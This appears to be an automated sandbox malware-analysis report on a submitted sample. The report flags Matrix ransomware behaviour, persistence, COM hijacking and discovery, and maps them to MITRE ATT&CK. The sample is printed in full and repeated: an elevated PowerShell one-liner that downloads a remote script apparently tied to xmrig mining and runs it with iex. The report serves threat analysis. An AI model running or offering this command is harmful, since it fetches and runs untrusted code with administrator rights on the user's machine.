General
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Target
http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex
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Sample
241115-r38f8avlhw
Static task
static1
URLScan task
urlscan1
Behavioral task
behavioral1
Sample
http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex
Resource
win10ltsc2021-20241023-en
Malware Config
Targets
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Target
http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex
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Matrix Ransomware
Targeted ransomware with information collection and encryption functionality.
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Matrix family
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Downloads MZ/PE file
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Drops file in Drivers directory
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A potential corporate email address has been identified in the URL: [email protected]
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Event Triggered Execution: Component Object Model Hijacking
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
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Executes dropped EXE
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Loads dropped DLL
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Modifies system executable filetype association
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Adds Run key to start application
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Enumerates connected drives
Attempts to read the root path of hard drives other than the default C: drive.
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Legitimate hosting services abused for malware hosting/C2
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Drops file in System32 directory
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Sets desktop wallpaper using registry
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Suspicious use of NtSetInformationThreadHideFromDebugger
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MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Privilege Escalation
Access Token Manipulation
1Create Process with Token
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Defense Evasion
Access Token Manipulation
1Create Process with Token
1Modify Registry
5Discovery
Browser Information Discovery
1Peripheral Device Discovery
2Query Registry
5Remote System Discovery
1System Information Discovery
5System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1